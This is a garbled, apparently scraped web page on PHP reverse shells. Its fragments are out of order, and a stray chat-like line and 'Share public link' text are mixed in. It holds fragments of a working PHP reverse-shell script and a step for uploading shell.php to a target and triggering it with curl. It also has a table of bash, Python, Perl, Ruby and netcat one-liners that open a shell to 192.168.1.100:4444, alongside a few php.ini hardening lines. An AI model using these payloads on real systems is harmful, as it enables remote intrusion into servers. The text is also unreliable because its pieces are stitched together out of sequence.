In your php.ini , add: disable_functions = exec,shell_exec,system,passthru,popen,proc_open
The browser may hang, but your netcat listener should now show a connection, giving you a prompt. Security Implications and Prevention
I can provide specific configuration hardening steps tailored exactly to your environment. Share public link
while (!feof($socket)) $cmd = fread($socket, 2048); if (trim($cmd) == 'exit') break; fwrite($pipes[0], $cmd); $output = ''; while ($line = fgets($pipes[1], 1024)) $output .= $line; while ($line = fgets($pipes[2], 1024)) $output .= $line; fwrite($socket, $output); reverse shell php install
$target_ip = "127.0.0.1"; // Change to your listener's IP (e.g., your VM host IP) $target_port = 9001; // Choose any unused port > 1024
Edit your php.ini and add the following: disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
curl http://target.com/uploads/shell.php # OR open it in a browser In your php
A raw reverse shell is fragile. Ctrl+C kills it, and commands like vim or top break. Security professionals "upgrade" the shell.
<?php // php-reverse-shell - Works on Linux/Unix, Windows with some adjustments $ip = 'YOUR_LISTENER_IP'; $port = YOUR_LISTENER_PORT; $timeout = 30;
Below is a basic PHP script that can be used to create a reverse shell. This script connects back to a listener on a specified IP and port. Ctrl+C kills it, and commands like vim or top break
: Because PHP powers a massive portion of the web, these shells are a staple for testing web applications.
| Language | One-Liner | |----------|-----------| | | bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 | | Python | python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' | | Perl | perl -e 'use Socket;$i="192.168.1.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");;' | | Ruby | ruby -rsocket -e 'f=TCPSocket.open("192.168.1.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' | | Netcat | nc -e /bin/sh 192.168.1.100 4444 (traditional nc only) |